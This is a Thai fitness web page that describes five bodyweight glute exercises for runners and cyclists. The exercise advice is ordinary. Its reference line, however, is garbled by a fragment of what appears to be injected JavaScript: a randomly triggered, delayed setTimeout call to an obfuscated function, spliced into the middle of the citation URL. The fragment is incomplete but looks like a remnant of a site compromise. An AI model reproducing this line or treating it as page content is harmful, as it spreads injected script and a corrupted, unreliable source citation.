• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Training

วิ่งเเละปั่นเเรงขึ้นด้วยก้นที่เเข็งเเรง: เทคนิคฝึกกล้ามเนื้อ GLUTE สำหรับนักปั่นและนักวิ่ง

kan by kan
25 March 2019
in Training
0
วิ่งเเละปั่นเเรงขึ้นด้วยก้นที่เเข็งเเรง: เทคนิคฝึกกล้ามเนื้อ GLUTE สำหรับนักปั่นและนักวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

กล้ามเนื้อ GLUTES หรือเรียกง่ายๆ กันเข้าใจทั่วไปว่า กล้ามเนื้อก้น เป็นมัดกล้ามเนื้อขนาดใหญ่ที่ให้พลังงานมาก และการฝึกฝนกล้ามเนื้อก้นให้แข็งแรงก็จะสามารถช่วยพัฒนา PERFORMANCE ของนักวิ่งและนักปั่นให้ดีขึ้นได้ (กีฬาแขนงอื่นๆ อย่าง การว่ายน้ำ สเกต การเต้นลีลาศ เดินไต่เขา เหล่านี้ก็จะได้ประโยชน์ทั้งสิ้น) กล้ามเนื้อก้นที่แข็งแรงยังจะช่วยลดอาการบาดเจ็บกล้ามเนื้อได้ด้วย เพราะช่วยดูดซับแรงกระแทกจากข้อเข่าและแผ่นหลัง แต่เมื่อกล้ามเนื้อก้นไม่แข็งแรง แรงกระแทกก็จะถูกกระจายไปยังกล้ามเนื้อย่อยส่วนอื่นๆ หากไม่แข็งแรงพอก็อาจจะทำให้เกิดอาการปวดเมื่อยและบาดเจ็บได้    

การใช้งานในสถานการณ์จริงกล้ามเนื้อ QUADRICEP (กล้ามเนื้อต้นขา) จะถูกใช้งานบ่อยมากเป็นและเป็นตัวหลัก เมื่อกล้ามเนื้อชุดนี้ไม่แข็งแรง ประกอบกับกล้ามเนื้อก้น (GLUTES)ก็อ่อนแอด้วย แรงก็จะถูกกระจายไปยังกล้ามเนื้ออื่นๆ กล้ามเนื้อชุดเล็กจะทำงานหนักเพื่อรองรับแรงแทนกล้ามเนื้อชุดหลัก

วิ่งเเละปั่นเเรงขึ้นด้วยก้นที่เเข็งเเรง: เทคนิคฝึกกล้ามเนื้อ GLUTE สำหรับนักปั่นและนักวิ่ง

5 ท่าบริหารกล้ามเนื้อแบบ BODYWEIGHT ต่อไปนี้จะช่วยให้กล้ามเนื้อก้นคุณแกร่งขึ้น และถ้าต้องการแรงต้านที่มากขึ้นเราก็สามรถเพิ่มเวทเข้าไปก็ได้  

  1. SUPINE BRIDGES (DOUBLE AND SINGLE LEG)
  2. CLAMSHELLS
  3. SQUATS
  4. SINGLE-LEG SQUATS
  5. STEP-UPS

หลังจากทำการวอร์มอัพมาแล้ว เราแนะนำให้ทำการบริหารกล้ามเนื้อท่าละ 8-12 ครั้ง จำนวน 1-3 เซต

1. SUPINE BRIDGES (DOUBLE AND SINGLE LEG) ท่าสะพานยกขาหนึ่งข้าง เริ่มจากการนอนลงบนพื้นราบหลังตรง ยกแผ่นหลังขึ้นโดยใช้กล้ามเนื้อก้นช่วยดัน ทำค้างไว้แล้วค่อยยกขาข้างหนึ่งขึ้นเป็นแนวตรง ค้างไว้สัก 3-5 วินาที ทำสลับซ้ายขวาขึ้นลง

2. CLAMSHELLS ท่านี้ฝึกกระตุ้นกล้ามเนื้อ GLUTES นอนตะแคงข้าง ตัวตรงขนานไปกับพื้นและชันเข่าคู่ขึ้น 90 องศา บังคับยกขาข้างหนึ่งขึ้นลง สามารถเพิ่มความยากได้โดยการใส่ยางยืดที่บริเวณข้อเท้า

3. SQUATS ท่าบริหารกล้ามเนื้อยอดนิยม ใช้ได้ทุกกีฬา ยืนตัวตรง เท้าไหล่เป็นแนวเดียวกัน ย่อตัวลงเหมือนนั่งเก้าอี้ช้าๆ เข่าและต้นขาตั้งฉากกับพื้น หลังต้องเป็นเส้นตรงเสมอ  

4. SINGLE-LEG SQUATS ลักษณะการฝึกบริหารเหมือนกับท่า SQUAT เพียงแต่บังคับใช้ขาข้างเดียวบริหารกล้ามเนื้อยกตัวขึ้นลง เราจึงใช้เก้าอี้เป็นตัวรองรับน้ำหนัก เอาพอแตะนิดๆ แล้วยกตัวขึ้นทันที สำหรับใครที่ฝึกบ่อยๆ ก็อาจจะไม่ใช้เก้าอี้ก็ได้ การฝึกนี้นอกจากจะได้กล้ามเนื้อก้นแล้วยังได้ฝึกการบาลานซ์ร่างกายด้วย

5. STEP-UPS เรียกง่ายๆ ว่าท่าเดินขึ้นลงบันได ใช้ขาทีละข้างเดียวในการดันตัวขึ้นลง พยายามถ่ายน้ำหยักผ่านแผ่นหลัง ผ่านก้นลงไปยังขา ลำตัวตั้งตรง ระยะไหล่และขาเท่ากัน  

คำแนะนำสำหรับคนเริ่มต้น อยากให้เริ่มจากจำนวนครั้งน้อยๆ ฝึกเพื่อสร้างกล้ามเนื้อระดับหนึ่งขึ้นมาก่อน เพื่อที่จะรองรับ WORKLOAD หรือการฝึกที่จะมีมากขึ้นในอนาคต การสร้างกล้ามเนื้อขึ้นมาก็เป็นเหมือนการสร้างห้องเครื่อง จะได้มีพลังงานในการผลักดันสูงและขณะเดียวกันก็มีความแข็งแกร่งและความทนทาน

อ้างอิงandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-cyclists/?otm_medium=onespot&otm_source=onsite&otm_content=article-page%3Aarticle-footer-unit&otm_click_id=2f6bfdb7-8c90-4d9f-aabb-e4fc909f7158&fbclid=IwAR2eO-vChcOx6lulc_2Go2s8zcrMw4UGWoe_35K1zSyweeYgZmNVdQ_CF8o”>blog.mapmyrun.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.